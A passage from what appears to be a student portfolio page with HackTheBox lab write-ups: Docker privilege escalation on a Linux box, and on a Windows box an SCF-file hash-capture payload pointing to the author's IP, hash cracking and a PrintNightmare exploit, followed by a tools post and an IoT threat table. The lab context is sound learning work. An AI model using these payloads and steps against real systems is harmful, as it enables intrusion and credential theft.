src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The 